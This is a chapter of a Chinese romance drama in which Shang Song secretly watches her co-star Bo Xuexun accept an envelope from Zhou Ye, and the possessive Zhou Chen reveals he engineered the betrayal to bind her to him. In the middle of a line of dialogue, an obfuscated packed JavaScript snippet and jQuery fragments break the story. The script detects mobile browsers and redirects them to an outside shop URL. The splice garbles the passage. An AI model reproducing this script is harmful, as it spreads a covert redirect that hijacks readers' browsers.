“回京。”
周彻没有告别。甚至连最后一眼回望都显得多余。
商颂向段南桥请假时，撒了一个拙劣的谎。她卸掉了所有关于“易为春”的妆容，甚至不敢穿平时那几件被街拍号扒烂了的名牌。她换了一身最不起眼的黑色羽绒服，戴着能遮住大半张脸的毛线帽，缩在一辆黑车后座。
目的地是“云极别院”。
那是隐藏在皇城根下只有极少数顶层圈子才知道的销金窟。距离周家那座阴森的老宅不过隔着两条胡同，据说以前是哪位亲王的别苑，如今成了京圈权贵们密谋私事最爱去的地方。
那里不接待散客，大门是一扇常年紧闭的朱漆铜门。商颂自然进不去，但她记得周彻以前无意中提起过，别院的西侧紧邻着一片还没来得及拆迁的杂乱民居，有一家位置极佳的老茶馆，二楼正对着别院那处名为“雪月轩”的水榭。
那地方虽看不清全貌，却能透过落地窗窥见里面的光影。
对于此刻如同惊弓之鸟的商颂来说，哪怕只是一眼确认周彻没有拿刀杀人，也是救赎。
商颂坐在那间满是陈旧茶渍味道的包厢里，手里捧着一杯早已凉透的劣质茉莉花茶。窗户开了一条缝。
她的心脏在胸腔里剧烈撞击，预设了无数种血腥的场面：周彻暴怒摔杯，或者是周晔跪地求饶。
然而，当那扇窗后的卷帘被人缓缓拉起一半时，那一刻，世界仿佛被按下了静音键。
并没有剑拔弩张。
水榭里陈设极雅，紫檀木的博古架上摆着几只插着残荷的宋瓷。
周晔坐在主位上。他并没有穿平日里那种伪善的西装，而是穿了一件墨绿色的盘扣夹棉长衫，手腕上那串蜜蜡珠子在灯下泛着油润的贼光。他脸上的表情是一种得意甚至是慈悲的松弛。
而坐在他对面，背对着商颂这个方向的人……
那个背影，商颂太熟悉了。
熟悉到甚至在看到的那一秒，她的大脑出于自我保护机制，甚至产生了一种名为“不可能”的排斥反应。
那人穿着一件简单的牛仔蓝连帽衫，脊背并不像周彻那样时刻紧绷如弦，而是带着一种稍微有些驼背的慵懒和清瘦。
他侧过头，露出半张轮廓流畅的侧脸，鼻梁挺拔，下颌线干净。
是伯雪寻。
那个应该在几千公里外的香港，循着蛛丝马迹寻找故意失踪的阿春的代sir。
那个商颂心心念念想要保护的不染尘埃的“孤岛”。
他为什么会在这里？
还是在周彻即将回京“杀人”的这个敏感节点，和周晔坐在同一个私密的茶室里？
隔得太远，商颂听不见他们在说什么。
但画面本身的张力已经足够撕碎她的认知。
周晔似乎心情极好，他亲自拎起那把宜兴紫砂壶，给伯雪寻倒了一杯茶。那个动作并没有带着上位者对戏子的轻慢，反而有一种拉拢盟友的殷切。
伯雪寻并没有拒绝。
他甚至伸出了两根手指，在那张昂贵的黄花梨桌面上轻轻敲了两下——那是标准的叩指礼，是这个圈子里默认的某种契约达成的信号。
接着，周晔从袖口里掏出了什么东西。
不是剧本，不是合同。
是一个深褐色的牛皮纸信封。
信封被推过桌面，停在伯雪寻面前。
伯雪寻垂下眼眸，视线在那信封上停留了片刻。商颂屏住呼吸，期待着他下一秒会不屑地将其推开，或者是起身离去。
但他没有。
他伸出手。
商颂的脑海里不受控制地闪过这只手覆在她胸口的触感。
灼热、有力，带着不容抗拒的粗暴。
也是好用得要命，她几次都颤得瘫在他肩上。
而现在这只手缓缓按在了那个信封上。指尖微微用力，将其压实，顺着桌面滑进了自己的衣袋里。
随后，他抬起头，对着周晔露出了一个笑。
那笑容带着一种令人心惊的了然与讽刺。
商颂的指甲深深掐进了掌心里。
像是脚下的地板突然塌陷，露出了下面腐烂生蛆的真相。
那信封里装的是什么？
钱？还是关于周彻的更致命的把柄？
“看得清楚吗？”
商颂浑身剧烈一抖，手中的茶杯“哐当”一声翻倒在桌上，褐色的茶水顺着桌沿淌下。
她僵硬地回过头。
包厢不知何时多了一个人。
门没有关严，那人就站在半明半暗的阴影里。
周彻。
他换了一身回老宅的行头，是一件深黑色的立领中山装，扣子系到了最上面一颗，越发衬得他面容冷白，眼神漆黑如墨。他手里并没有拿刀，只是两指之间夹着一根并未点燃的万宝路，烟草味混着外面带来的冷风，瞬间占据了这个逼仄的空间。
“周……周彻？”商颂的嘴唇在发抖。
她本以为他是去赴周晔的鸿门宴，是那个即将走进陷阱的受害者。
可现在，他站在这里，居高临下地看着她，神情平静得可怕。
“不是说去急诊吗？”周彻走过来，脚步声很轻，“怎么，跑到这种地方来看另外一出戏？”
“这是怎么回事？”商颂的手指指向窗外，“伯雪寻为什么会在那儿？”
周彻顺着她的手指看了一眼，嘴角勾起一抹讥诮的弧度，“这就要问问你那位纯洁无瑕的好搭档了。”
周彻侧过身，一把扣住商颂的后脑勺，强迫她贴近那个漏风的窗缝，看着下面那场正在进行的交易。
“你看他的坐姿。”
周彻的声音低缓，“放松，向后靠，甚至有些轻蔑。这不是被逼迫的姿态，这是待价而沽。他在和周晔谈判，谈的是如何把我这艘快沉的船彻底凿穿。”
画面里，伯雪寻拿起桌上的一盒火柴，“刺啦”一声划燃。
他并没有点烟，而是看着火苗跳动，然后侧头对周晔说了句什么。周晔听完，大笑起来，伸手重重地拍了拍伯雪寻的肩膀。
这一次，伯雪寻没有躲。
他的肩膀只是微微沉了一下，然后，他也笑了。
那个笑容，和当初商颂在《窥镜》定妆照里看到的“周游”的笑，竟有了五分相似。
冷漠，厌世，却又贪婪。
“他在学我。”
周彻贴着商颂的耳朵，给出了最精准的评价，“商颂，他没你想的那么蠢。他在片场看着我演周游，不光是在演戏，他是在‘吞噬’我。他在学习怎么变成一个资本的怪物，因为他发现，清高救不了他的命，也还不清那三个亿的对赌。”
“他和你不一样。”
周彻的手掌摩挲着商颂冰冷的后颈，“你是想剪断我的头发，让我变回人。而他是想剪断我的喉咙，然后踩着我的尸体，变成下一个神。”
“不可能，”商颂摇着头，“他不是这种人……”
“不是？”
周彻轻笑一声，从口袋里拿出手机，点开了什么东西，然后将屏幕举到商颂眼前。
那是一张高糊的抓拍照片。
伯雪寻从那辆属于某公司女高层的私车上下来。
“为了一个能翻身的机会，他可以和任何人睡。甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126701|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果价码合适，把你卖了，对他来说也就是签个合同的事。”
“那封信里，是我在欧洲那几条灰色航线的关键证人名单。”周彻平静地扔下最后一颗炸弹，“只有我知道这东西在哪。但我故意让他偷听到了线索。结果呢？”
结果，伯雪寻把这个线索变现了。
他不是戏里的刑警，他是现实里的犹大。
商颂感到胃里一阵翻江倒海的抽搐。
那种信仰崩塌的声音，比骨头断裂还要刺耳。
当时她以为那是救赎。现在看来，那是掠夺。
他在等的不是她的自由，而是瓜分周彻尸骨的狂欢。
“为什么要让我看这些？”
商颂转过身，背靠着冰冷的墙壁，瘫软地滑坐下去。她抬起头，绝望地看着眼前这个早就布好了局的男人。
原来这一趟“回京”，从一开始就是假的。
周彻没有疯，也没有失控。他在片场演的那场“暴戾”，不仅仅是演给周晔看，更是为了把这只藏在暗处的狼引出洞。
“因为我想让你明白一个道理。”
周彻蹲下身，视线与她平齐。
这间破败的茶馆包厢里光线昏暗，只有他那双眼睛亮得像鬼火。
“这世上没有什么是干净的。”
他伸手，一点点擦去她脸上的泪痕，动作极尽温柔，“所谓的白月光，不过是因为还没有沾上泥点子。一旦给了他足够大的诱惑，他烂得比谁都快。”
“商颂，能保护你的，只有这个笼子。”
“你看，”他指了指窗外，语气里透着一种胜利者的怜悯，“他在忙着往上爬，他在忙着把灵魂卖个好价钱。现在，只有我在陪着你哭。”
窗外的“雪月轩”里，交易似乎结束了。
伯雪寻站起身，拿起那件深蓝色的牛仔外套随意地搭在肩上。他在临出门前，停下脚步，回头看了一眼周晔，嘴唇微动，说了一句话。
商颂读不懂唇语。
但周彻看懂了。
他低声替她翻译：
“他说——‘周二少，这把剪刀，我借您用了。’”
剪刀。
他果然在把自己当成那把可以弑神的剪刀。只不过这一次，握着刀柄的人从易为春，变成了周晔。
“回去吧。”
周彻站起身，向她伸出手。那只手干净，修长，带着掌控一切的力量。
“这场戏落幕了。接下来该我也上场了。我的好弟弟既然收了这份大礼，我总得让他知道，这礼盒里装的是惊喜，还是炸弹。”
商颂看着那只手。
又看了一眼窗外那个正在走出别院、消失在暮色中的瘦削背影。
那个曾经在雨夜里给她递过玫瑰、给她戴过耳机、和她分享过同一根烟的少年，在此刻彻底死了。
一种无边无际的荒凉淹没了她。
她以为她是站在岸边的人，却发现她始终都在水里。而那些原本以为是救命稻草的东西，全都是吃人的水草。
商颂慢慢地伸出手，放进了周彻的掌心。
冰凉入骨。
“周彻，”她低声唤他，“你说得对。”
“……船沉了。大家都得死。”
周彻握紧了她的手，将她从地上拉起来，紧紧扣进怀里。
他看着窗外那片苍灰色的天空。
这一局熬鹰，他赢了。
虽然手段卑劣，但他成功地斩断了这只鸟最后一根向往天空的翎羽。
从此以后，她是真正属于他的了。在这个烂透了的人世间，他们将是彼此唯一腐烂而又忠诚的共生体。